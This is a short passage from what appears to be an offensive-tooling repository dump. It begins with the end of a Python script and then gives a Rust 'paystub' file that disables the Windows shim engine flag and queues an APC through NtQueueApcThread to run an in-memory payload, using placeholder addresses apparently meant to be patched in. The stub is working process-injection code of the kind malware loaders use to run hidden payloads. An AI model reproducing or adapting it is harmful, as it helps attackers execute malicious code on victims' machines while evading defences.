21 | else: 22 | print('[!] error: no ending tag'); 23 | except Exception as e: 24 | print( '[!] error: {}'.format( e ) ); -------------------------------------------------------------------------------- /paystub/src/main.rs: -------------------------------------------------------------------------------- 1 | use winapi::ctypes::c_void; 2 | use winapi::shared::ntdef::HANDLE; 3 | 4 | // Define our own version of NtCurrentThread() 5 | const NT_CURRENT_THREAD: HANDLE = -2isize as HANDLE; 6 | 7 | // Update the type definition 8 | type NtQueueApcThread = unsafe extern "system" fn( 9 | ThreadHandle: HANDLE, 10 | ApcRoutine: *const c_void, 11 | ApcArgument1: *const c_void, 12 | ApcArgument2: *const c_void, 13 | ApcArgument3: *const c_void, 14 | ) -> i32; 15 | 16 | fn main() { 17 | // Define our hardcoded addresses 18 | let g_shims_enabled: *mut u8 = 0x9999999999999999 as *mut u8; 19 | let mm_payload: *const c_void = 0x8888888888888888 as *const c_void; 20 | let mm_context: *const c_void = 0x7777777777777777 as *const c_void; 21 | 22 | // Disable shim engine 23 | unsafe { 24 | *g_shims_enabled = 0; 25 | } 26 | 27 | // Queue APC using the function pointer 28 | let nt_queue_apc_thread: NtQueueApcThread = unsafe { 29 | std::mem::transmute(0x6666666666666666u64) 30 | }; 31 | 32 | unsafe { 33 | nt_queue_apc_thread( 34 | NT_CURRENT_THREAD, 35 | mm_payload, 36 | mm_context, 37 | std::ptr::null(), 38 | std::ptr::null(), 39 | ); 40 | } 41 | } 42 | --------------------------------------------------------------------------------